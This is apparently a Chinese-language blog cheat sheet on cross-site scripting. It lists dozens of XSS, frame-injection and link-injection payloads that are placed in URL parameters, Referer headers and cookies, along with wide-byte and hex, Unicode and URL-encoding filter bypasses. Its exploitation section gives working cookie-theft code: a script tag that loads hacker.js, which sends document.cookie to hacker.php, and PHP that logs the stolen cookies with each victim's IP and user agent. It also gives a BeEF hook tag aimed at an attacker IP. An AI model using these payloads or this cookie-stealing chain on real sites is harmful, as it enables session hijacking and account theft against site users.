跨站脚本构建模块
1.http://xxx/poll_skimcx.jsp?pollId=425<script>alert(27006)</script>
2.http://xxx/class.asp?BigClassName=新闻中心</title><script>alert(23503)</script>
3.http://xxx/goods.php?id=531*/->�"�'></iframe></script></style></title></textarea><script>alert(/1/)</script>
�"�'>:%cf%22%d5%27%3E 宽字节跨站脚本
4.http://xxx/network.php/"><script>prompt(21927)</script>
5.http://xxx/poll_skimcx.jsp?pollId=425<iframe onload=prompt(1234)>
6.www.xxx.com/plus/count.php/<script>alert(22804)</script>?view=yes&aid=10483&mid=1
http://xxx/index.php/><script>prompt(38444)</script>
www.xxx.com/product/index/CuteEditor/item/p/item.html?type="><iframe src=javascript:alert(65647)>
www.xxx.com/cmd.asp?act=gettburl&id=18"><script>alert(44933)</script>
https://xxx/other.aspx?Colname="onclick="prompt(8211)"&KeyWord=&PageNo=2&action=live
Onclick事件需要点击执行
http://xxx/list_2ba5de55-7dac-4c6a-b044-6727fc3d63ea.html?lmid=2ba5de55-7dac-4c6a-b044-6727fc3d63ea!</script><iframe src=javascript:document.title=25956>
button=%B5%C7%20%20%C2%BC"][$@!;<script>alert(21845)</script> // 宽字节跨站脚本
http://xxx/ShowImages/showImage.aspx?thumbWebUrl=%27;alert(19970)//
http://xxx/Search.asp?Page=2&Range=&
KeyWord=1<iframe src=javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u00281507\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')>
源码:
<font color="red">1<iframe src=javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u00281507\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')></font> ]</td>
</tr>
抓包构建Referer值:
http://xxx/phpsso_server/?m=admin&c=login&a=init&forward=</script><script>prompt(30113)</script>
抓包构建Referer值:
http://xxx/phpsso_server/?m=admin&c=login&a=init&forward=');confirm(89450);x=('
抓包构建Referer值:
http://xxx/</script><script>alert(20630)</script>
抓包构建Referer值:
http://xxx/index.php?m=admin&c=index&a=login&pc_hash=Referer)(*&^`~'"][$@!;</script><script>prompt(33979)</script>
抓包构建Referer值:
http://www.xxx.cn/"><script>confirm(51918)</script>
抓包构建Referer值:
"><script>alert(20653)</script>
抓包构建cookie中参数的值:
RecentlyGoods=226RecentlyGoods)<script>prompt(76226)</script>; !@$[]"'~`^&*()=;
抓包构建cookie中参数的值:
diqu=�Ĵ�diqu<iframe src=javascript:alert(38586)>
抓包构建cookie中参数的值:
RecentlyGoods=232<script>prompt(23886)</script>
抓包构建cookie中参数的值:
RecentlyGoods=174,17499999999999999999999<iframe onload=alert(52345)>`
框架注入构建模块
http://xxx/search.asp?SeaStr=1#*/-->'");></iframe></script></style></title></textarea><iframe src=http://www.anonymous.com>
http://xxx/Search.asp?Page=2&Range=&KeyWord=1<iframe src=1.html>
链接注入构建模块
http://xxx/cmd.asp?act=gettburl&id=18"><a href=1.html>Link_Injecting</a>
http://xxx/Article/in_search.asp?Keyword=1*/-->'");></iframe></script></style></title></textarea><a href='1.htm'>Link_Injecting</a>
http://xxx/video_player.asp?width=202&height=*/-->'");></iframe></script></style></title></textarea><a href='1.htm'>Link_Injecting</a>&auto=true
十六进制,Unicode,url编码绕过
字符串:<iframe src=javascript:alert(38586)>
十六进制:3c696672616d65207372633d6a6176617363726970743a616c657274283338353836293e
UNICODE编码:\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0033\u0038\u0035\u0038\u0036\u0029\u003e
url编码:%3c%69%66%72%61%6d%65%20%73%72%63%3d%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%33%38%35%38%36%29%3e
跨站脚本利用
跨站脚本,链接注入,框架注入可以相互转换所以这里只讨论了部分跨站脚本的利用
1.远程获取用户cookie并储存在本地。
注入脚本:
<script src="http://xxx/xss/hacker.js"></script>
Hacker.js:
var img = document.createElement('img');
img.width = 0;
img.height = 0;
//将img元素的src属性指向脚本文件hacker.php
//将cookie信息的字符串作为URI组件进行编码,然后用ck参数传递
img.src = 'http://xxx/xss/hacker.php?ck='+encodeURIComponent(document.cookie);
hacker.php文件接收并储存传回来的cookie:
<?php
@ini_set('display_errors',1); //PHP开启展示错误信息(若有错误的情况下)
$cookie = $_GET['ck']; //将ck参数传递的cookie信息以GET请求方式获取,赋给$cookie变量存储
$fileName = "hacker.php"; //$fileName变量用以存放hacker.php脚本
if(is_writable($fileName)==true){ //判断若文件$fileName存在且可写,则返回true
date_default_timezone_set('PRC'); //设置中国时区,便于后面的$time获取的时间准确(不早不晚)
$time = date('Y-m-d H:i:s'); //以"年-月-日 时:分:秒"的格式显示时间
$ip = getenv('REMOTE_ADDR'); //远程主机IP地址
$referer = getenv ('HTTP_REFERER'); //链接来源
$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
//以写入方式打开cookie.txt文件(若没有则创建TA)
$fp = fopen('cookie.txt', "w");
//将$ip、$time、$agent、$referer、$cookie变量对应的值写入到打开的cookie.txt文件中
fwrite($fp,"IP: ".$ip."\n"."Time: ".$time."\n"."User Agent: ".$agent."\n"."Referer: ".$referer."\n"."Cookie: ".$cookie."\n");
//将打开的文件关闭
fclose($fp);
}
else{
echo "Can't Write !";
}
?>
2.注入xss-beef的hook脚本,利用kali的xss-beef工具做进一步攻击
<script src="http://<IP>:3000/hook.js"></script>
总结
1)这里只选择性的贴了部分漏洞利用成功的源码图片
2)url和cookie构建的web注入代码基本可以通过查看网页源代码查看,所以要想确定是否有此类漏洞,首先查看参数在网页源码中的位置,然后根据参数作用的位置确定可以执行的payload,最后绕过web端或者防火墙对特殊字符的过滤。
3)referer参数的数据一般用于网页的返回跳转,(在源码上可以看)
4)基于url的此类漏洞更容易利用
5)基于cookie和referer的此类漏洞需要配合流量劫持,抓取更改请求数据包来达到漏洞利用的目的
知识无限,分享我所学(smile)